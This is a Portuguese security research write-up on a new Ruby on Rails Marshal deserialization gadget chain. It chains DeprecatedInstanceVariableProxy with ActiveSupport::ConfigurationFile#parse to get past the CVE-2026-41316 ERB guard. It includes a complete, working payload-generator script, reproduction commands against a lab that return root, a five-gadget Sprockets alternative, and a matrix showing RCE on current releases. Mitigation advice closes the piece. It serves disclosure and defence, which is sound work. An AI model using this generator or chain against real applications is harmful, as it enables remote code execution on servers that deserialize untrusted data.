Efígie fraturada e oca, remontada de cacos e suspensa por cordões de marionete, exalando fogo pelo peito, alegoria de um objeto reconstruído pelo Marshal.load sem ser inicializado.

Another Ruby Marshal Chain:RCE em Rails

Um gadget chain inédito de desserialização em Ruby on Rails, montado com dois gadgets nativos do ActiveSupport que se encadeiam para executar código via Marshal.load mesmo num framework atualizado, fazendo o próprio Rails instanciar uma ERB nova e legítima, sem nunca tocar numa ERB desserializada.

Contexto

Em abril de 2026, TristanInSec reportou a CVE-2026-41316: a chain canônica de Ruby Marshal RCE em Rails. Ela passava por DeprecatedInstanceVariableProxy (DIVP) chamando ERB#def_module numa ERB desserializada e contornava o guard @_init original, que só protegia ERB#result e ERB#run.

O patch oficial estendeu o guard a def_method. Como def_module e def_class apenas delegam a def_method, um único guard cobre os três:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  ...
end

ruby/erb · lib/erb.rb · v4.0.4.1 · L465–468

Repare que o sentinel não é um booleano: initialize faz @_init = self.class.singleton_class, e o guard exige @_init.equal?(...) — o que fecha até a tentativa de forja, já que setar @_init = true no payload não satisfaz a comparação. E como Marshal.load reconstrói o objeto sem chamar initialize, @_init fica nil, o guard dispara e a chain morre. É por isso que o gadget mais usado para Marshal RCE em Rails está fechado em qualquer ambiente atualizado.

Documento técnico. Um deep-dive fim a fim da chain, cobrindo fundamentos de Ruby, os dois gadgets e a PoC linha a linha, está em docs/gadget-explained.pt.pdf no repositório.

O insight

O patch só protege ERB que veio do Marshal. Se a chain conseguir criar uma ERB.new em runtime (com @_init setado corretamente pelo initialize), o guard nunca dispara.

Quem instancia ERB.new a partir de uma instance variable, num método chamável sem argumentos? ActiveSupport::ConfigurationFile, a classe que o Rails usa pra ler database.yml e afins:

def parse(context: nil, **options)
  source = @content.include?("<%") ? render(context) : @content
  # ... YAML.load(source) ...
end

def render(context)
  erb = ERB.new(@content).tap { |e| e.filename = @content_path }   # ERB nova → @_init OK
  context ? erb.result(context) : erb.result                        # eval
end

rails/rails · configuration_file.rb · v7.1.6 · L21–48

@content é uma instance variable comum, que controlamos. Se ela contém <%, o parse chama render, que faz ERB.new(@content).result numa ERB instanciada em runtime. É aí que o patch não tem o que fazer: a ERB que executa o código foi criada em runtime, com @_init válido. Nunca há uma ERB desserializada envolvida.

O ConfigurationFile é o sink direto que usei, mas dificilmente o único: qualquer método chamável sem argumentos que faça ERB.new(@ivar).result sobre uma ivar controlável é um sink equivalente. Outros assim podem existir no Rails ou nas gems do ecossistema sem estarem documentados, e cada um abriria uma nova chain a partir do mesmo gatilho.

A chain

Marshal.load reconstrói objetos, mas não chama métodos neles por conta própria. Falta a peça que invoque parse como efeito colateral da desserialização. Esse é o papel do DeprecatedInstanceVariableProxy (DIVP) do ActiveSupport, um proxy de deprecação que herda de DeprecationProxy:

instance_methods.each { |m| undef_method(m) unless /^__|^object_id$/.match?(m) }

def method_missing(called, *args, &block)
  warn(...)
  target.__send__(called, *args, &block)
end

def target
  @instance.__send__(@method)
end

Duas engrenagens. O undef_method apaga todos os métodos normais do proxy, inclusive o .hash, que todo objeto tem. Então qualquer chamada nele cai em method_missing, que chama target, que por sua vez faz @instance.__send__(@method). Forjando @instance e @method, um toque qualquer no proxy vira um despacho controlado:

proxy.hash → method_missing(:hash) → target → @instance.__send__(@method)
           = ConfigurationFile.__send__(:parse)

Falta só o “toque qualquer no proxy”. O elo é um comportamento do próprio Marshal.load: ao reconstruir um Hash, ele chama .hash em cada chave pra decidir o bucket.

class Espia
  def hash
    puts "  .hash chamado!"
    super
  end
end

Marshal.load(Marshal.dump({ Espia.new => 1 }))   # imprime: .hash chamado!

Aqui está o pulo do gato: pôr o DIVP como chave de um Hash no payload faz o load chamar .hash nele durante a desserialização, e “carregar dados” vira “executar método”. Com @instance = ConfigurationFile (forjado, @content malicioso) e @method = :parse, a cadeia inteira dispara dentro do Marshal.load:

Marshal.load(Hash{ DIVP => "x" })
  1. Hash insere a chave → chama DIVP.hash (undef'd)
  2. .hash → method_missing → target → @instance.__send__(@method)
            onde @instance = ActiveSupport::ConfigurationFile, @method = :parse
  3. parse → render(nil)                       (@content contém "<%")
  4. ERB.new(@content).result → eval → system("id") → RCE

Dois gadgets, uma confusão de tipo: o DIVP se faz passar por um objeto hashable, mas qualquer toque nele vira despacho para outro método. Sem Sprockets, sem Rack, sem gadget intermediário, basta o ActiveSupport carregado, presente em todo app Rails.

Gerando o payload

#!/usr/bin/env ruby
require 'base64'
require 'active_support'
require 'active_support/configuration_file'
require 'active_support/deprecation'

cmd = ARGV[0] || 'id'

cf = ActiveSupport::ConfigurationFile.allocate
cf.instance_variable_set(:@content,      "<%= system(#{cmd.inspect}) %>")
cf.instance_variable_set(:@content_path, 'x')

# Neutraliza o DIVP durante a geração — senão a chain dispara aqui mesmo
klass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
klass.define_method(:hash) { 12345 }
saved_mm = klass.instance_method(:method_missing)
klass.define_method(:method_missing) { |*_| nil }

dep = ActiveSupport::Deprecation.new
dep.instance_variable_set(:@silenced, true)

# Bind direto porque instance_variable_set foi undef'd no DIVP
ivset = Object.instance_method(:instance_variable_set)
proxy = klass.allocate
ivset.bind(proxy).call(:@instance,   cf)
ivset.bind(proxy).call(:@method,     :parse)
ivset.bind(proxy).call(:@var,        :@x)
ivset.bind(proxy).call(:@deprecator, dep)

# Dump do proxy sozinho + wrapper Hash montado byte a byte: dump direto do
# Hash chamaria .hash no proxy e dispararia a chain no gerador
proxy_dump  = Marshal.dump(proxy)
proxy_inner = proxy_dump[2..]
payload = "\x04\x08{\x06" + proxy_inner + "I\"\x06x\x06:\x06ET"

klass.define_method(:method_missing, saved_mm)
klass.remove_method(:hash) rescue nil

puts Base64.strict_encode64(payload)

O único cuidado de geração: como o DIVP undef’d o próprio instance_variable_set, chamá-lo no proxy cai em method_missing. O Object.instance_method(:instance_variable_set).bind(proxy) alcança a implementação real. E dumpamos o proxy sozinho, montando o Hash wrapper byte a byte, porque um Marshal.dump({proxy => "x"}) chamaria .hash no proxy e dispararia a chain na própria máquina que gera o payload.

Reproduzindo

O repositório para reprodução tem docker-compose.yml, Dockerfile e Gemfile pinados:

git clone https://github.com/S3r4ph1el/another-ruby-marshal-chain
cd another-ruby-marshal-chain
docker compose up -d --build

B64=$(docker compose exec lab bundle exec ruby /exploit/gen_payload.rb 'id')
curl -s -X POST --data-urlencode "p=$B64" http://127.0.0.1:3000/marshal
Geração do payload no lab e POST contra /marshal retornando uid=0(root) gid=0(root) groups=0(root)
PoC ponta-a-ponta no lab com `uid=0(root)`.

Vetor alternativo

ConfigurationFile está sempre presente em Rails, mas a técnica não depende dele. Quando não existe um método zero-arg que avalie uma ivar, dá pra montar a ponte: transformar o dispatch zero-arg do DIVP numa chamada call(Hash) para o Sprockets::ERBProcessor (que também faz ERB.new(input[:data]) em runtime). O caminho:

DIVP → Rack::Response#buffered_body!   (itera @body, faz @writer.call(part.to_s))
     → Process::Tms#each               (Struct enumerável; entrega a peça forjada)
     → Gem::Version#to_s               (retorna @version verbatim — passa um Hash por um .to_s)
     → Sprockets::ERBProcessor#call    (ERB.new em runtime → eval)

São cinco gadgets em vez de dois, e exige Sprockets carregado, mas é instrutivo como técnica geral de bridging. Detalhe fino: o Gem::Version até se defende, com um marshal_load que re-roda o initialize e revalidaria @version. A ponte só escapa porque gera o objeto pelo formato raw (o) do Marshal, que ignora o marshal_load. O gerador completo está no lab em exploit/gen_payload_sprockets.rb.

Matriz de compatibilidade

Instalei cada release do ActiveSupport num container limpo e disparei a chain ponta a ponta, do Ruby 3.2 ao Ruby 4.0.5 (o mais recente). A linha 8.1.3 rodou no stack totalmente atualizado: Ruby 4.0.5 + ActiveSupport 8.1.3 + erb 6.0.4, com o ERB já corrigido pela CVE-2026-41316. A chain dispara mesmo assim, porque nunca desserializa uma ERB.

ActiveSupport2-gadget5-gadget
7.0.8.7RCERCE
7.1.6RCERCE
7.2.2.1RCERCE
8.0.2RCERCE
8.1.3RCERCE

A versão das gems não é o limitador, já que os code paths são idênticos em toda a faixa. O que define o alcance é o sink:

  • 2-gadget (ConfigurationFile): precisa de ActiveSupport carregado (presente em todo app Rails) e do ERB carregado. No ActiveSupport 8.0+ o render faz require "erb" sozinho, então o ActiveSupport basta; no ActiveSupport 7.0–7.2 o ERB precisa já estar carregado, sempre o caso num Rails real (o ActionView puxa o ERB). Funciona inclusive em Rails 8 com Propshaft, porque o asset pipeline é irrelevante aqui.
  • 5-gadget (Sprockets): precisa do Sprockets carregado e, no Ruby 4.0+, também do OpenStruct (ostruct), que saiu dos default gems. Rails 8 mudou o default pra Propshaft, então em app novo o vetor alternativo não se aplica, mas o de 2 gadgets continua aplicando.

Gadget ou vulnerabilidade?

Os dois termos descrevem coisas diferentes. Um gadget é código legítimo reaproveitado como degrau: ConfigurationFile#parse, o DeprecationProxy e o ERB fazem exatamente o que prometem. A vulnerabilidade é o defeito que abre a porta, e está num único ponto, que é a aplicação chamar Marshal.load sobre bytes do atacante, o anti-pattern CWE-502. Ela mora no app, não no Rails, e existe independente de qual chain a explora.

A CVE-2026-41316 era de outra natureza: lá o defeito estava no próprio ERB (uma promessa de segurança com furo, que o patch fechou). Aqui nenhuma lib quebra promessa, por isso a correção durável é não desserializar dado não-confiável, não “consertar” um gadget.

O que esta chain tem de novo

O ângulo público pós-CVE focava em encadear gadgets até um Sprockets::ERBProcessor (httpvoid, 2021), uma ponte de ~8 classes que depende de Sprockets. O atalho aqui é perceber que ActiveSupport::ConfigurationFile#parse já é um sink fresh-ERB chamável com zero argumentos a partir de uma ivar. Isso colapsa a cadeia:

Chain pública (httpvoid → Sprockets)Esta (ConfigurationFile)
Gadgets~82
DependênciaSprockets carregadosó ActiveSupport (sempre presente)
Rails 8 + Propshaftnão aplicaaplica
Smuggler / bridgeSet + Gem::Version + buffered_body!nenhum

O vetor de 5 gadgets continua útil como técnica geral de bridging (e fica no lab), mas o caminho direto é mais curto, sem dependências frágeis e cobre mais alvos.

httpvoid (2021) segue sendo a referência por ser a única chain pública que chega a um sink de ERB em runtime; as mais recentes (nastystereo, 2024; CVE-2026-41316, 2026) seguem outras rotas.

Pra ser preciso sobre o que é novo: o ConfigurationFile não é uma classe desconhecida dos caçadores de gadget. A elttam (Alex Brown, 2025) já a listou, mas como candidato a leitura de arquivo (LFI) via o construtor new(path) (ConfigurationFile.new('/etc/passwd').to_json), e a descartou como fraca. Isso é outra capacidade e outro método. O que não aparece em nenhuma fonte pública é o #parse → render → ERB.new(@content).result como sink de RCE via ERB criada em runtime, alcançado zero-arg a partir de um @content controlado, esquivando do guard @_init. E o levantamento dedicado de gadgets (behradtaher) chega ao ERB e o declara dead end, só que esse beco sem saída vale apenas para a ERB desserializada, e a chain entra justamente pela instanciada em runtime.

Mitigação

  1. Nunca chame Marshal.load em dado controlado pelo usuário. Migrar pra JSON/MessagePack/CBOR com schema estrito.
  2. Se Marshal.load for inevitável (por exemplo, desserialização interna de cookie cifrado), validar a assinatura antes de carregar, com Rails.application.message_verifier ou ActiveSupport::MessageEncryptor.
  3. Allowlist de classes via Marshal.load(blob, permitted_classes: [...]) (Ruby 3.x+), mas isso só ajuda se você souber exatamente o que esperar e estiver disposto a rejeitar todo o resto.
  4. Auditar colunas serialize :col, MarshalSerializer em models ActiveRecord, já que qualquer coluna persistida que possa ser influenciada por user input é vetor.

Referências